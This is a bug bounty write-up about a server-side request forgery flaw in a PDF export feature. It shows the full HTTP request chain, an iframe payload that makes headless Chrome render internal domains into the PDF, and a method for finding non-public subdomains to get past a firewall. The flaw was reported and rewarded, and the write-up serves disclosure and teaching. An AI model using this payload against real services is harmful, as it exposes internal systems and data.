Full Read SSRF in a PDF generation feature to read data from Internal domains

The Bug
The bug is a server-side request forgery vulnerability in a PDF generation feature that enabled me to read data from internal domains that are not publicly reachable
The Journey
I’ve been working on this application for three months now, and I’ve tested all the variations of broken access control and Privilege escalation bugs I can think of, but I couldn’t find any thing worth reporting. So I switched my focus to understanding the core functionality of the application and playing with the parameters that are being used in every request.
I came across a functionality that allows a user to export a note to a pdf, so I stopped to play with the request to understand how the server was taking the note and turning it into a pdf that can be downloaded.
After creating a note and clicking the export button to export the note to pdf, three request was made to the server before the pdf file was automatically downloaded to my system. I’ll break the three requests down into their respective steps below
Step 1: When I clicked on the export button, a request was sent to the server to create a presigned URL for uploading the content of my note to an S3 bucket
Step 2: The server used the S3 presigned URL to upload my note content as an HTML file to the S3 bucket and returned a documentId. Spoiler: (This is where the bug lies)
Step 3: The server passes my documentId to another request, which uses a library called Skia/PDF and a HeadlessChrome browser to render the HTML version of my note and convert it to a PDF file, and then download it to my system
I know it uses Skia/PDF and a headless Chrome browser because I used exiftool to extract the metadata from the pdf file

After noting down the 3 requests sent when exporting a note and understanding what each of the requests is trying to do, I started tinkering with the parameters that were passed in each request to see how the backend server would behave
Step One
The first request was sending a request to the server with a filename parameter to get a presigned URL for uploading the request to an S3 bucket
GET /note-app/upload?filename=random-note.pdf HTTP/2
Host: note_application.xx
Cookie: cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
And the response looks like this
HTTP/2 200 OK
Content-Type: application/json
Server: nginx
{
"uploadUrl": "https://note-app-s3-upload-url"
}
Step Two
The second request was uploading the note content as HTML to an S3 bucket using the presigned URL generated from the first request
PUT /note-app-s3-upload-url HTTP/2
Host: note_application.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
<html>
<body>
<p>This is a short Note!!<p>
</body>
</html>
Like I said above, the server was using Skia/PDF and a headless chrome browser to render and covert my uploaded note to pdf, I tried adding script tag to my HTML to see if I can execute javascript on the headleass chrome which would have been a command execution if possible but unfortunately javascript was disabled on the headless chrome so I resort to getting an SSRF on the headless chrome
To get an SSRF on the headless Chrome was pretty straightforward. I just needed to add an iframe tag to my HTML, like so
<iframe
src="https://internal-domain.xxx/"
scrolling="yes" width="850" height="1300">
</iframe>
My request ended up looking like the request below.
From working on the application for 3 months now, and having found an SSRF on the application before, I knew the application had a very strong web application firewall (WAF) that is preventing Out-of-bounds requests, so I just gathered all the company subdomains that I can get and passed it to a tool called surf by assetnote, to filter out the subdomains that are not resolving from my IP.
I got a few domains, and I passed them to the iframe tag within the HTML content that was uploaded to the S3 bucket for conversion to pdf
PUT /note-app-s3-upload-url?uploadId=741af7b8-26bc-4626-8a9b-6656dafeaeac HTTP/2
Host: note_application.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
<html>
<body>
<p>This is a short Note!!<p>
<iframe src="https://internal-domain.xxx/"
scrolling="yes" width="850" height="1300">
</iframe>
</body>
</html>
The response looks like this
It returned the UUID of my uploaded note
HTTP/2 201 Created
Content-Type: application/json
Server: nginx
{
"documentId":"741af7b8-26bc-4626-8a9b-6656dafeaeac"
}
Step Three
This is where the conversion takes place; the server passes the documentId that was returned in step two to a POST request on a /convert endpoint and return a downloadUrl which automatically downloads the PDF version of the note
POST /convert-note HTTP/2
Host: note_application.xx
Cookie: cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
{
"documentId":"741af7b8-26bc-4626-8a9b-6656dafeaeac"
}
And it returns a 200 OK response with a link to download the pdf file of the note
HTTP/2 200 OK
Content-Type: application/json
Server: nginx
{
"downloadUrl":"https://note_to_pdf_downloadurl"
}
After inserting my iframe payload whose src attribute is pointing to an internal domain, I was able to upload the HTML to the server for conversion, and while converting my note to PDF, the headless Chrome browser rendered the content from the internal domain into my PDF file
Impact
I was able to read and delete data from internal domains
There was one domain in particular that was running a software that is open-sourced. I read through the software documentation thoroughly, and I came across some requests that enabled me to delete resources using a GET request
Timeline
11/4/2025, 12:34:29 PM: Submission Created
11/4/2025, 2:08:56 PM: Initial response from the team
11/4/2025, 3:16:55 PM: Requested my IP address
11/4/2025, 3:22:29 PM: Requested my account email and ID
11/4/2025, 3:27:17 PM: I provided my account email and ID
11/5/2025, 1:33:03 PM: Accepted and rated as high severity
11/5/2025, 1:33:04 PM: Bounty Awarded
Lesson Learned
Some functionalities might look normal on the frontend of a website, but paying attention to the requests that were sent to the backend to perform such a function will help you, as a bug bounty hunter, to understand how the frontend is interacting with the backend, and that will help you to spot vulnerabilities
Not all SSRFs will be Out-of-bounds, so when you come across a potential SSRF that is not able to make an Out-of-bounds request, try to look for the target subdomains that are not resolving publicly and pass them to the vulnerable parameter to see if it’ll resolve.
You can use a tool called Surf by AssetNote to filter out a target’s subdomain that is not resolving publicly



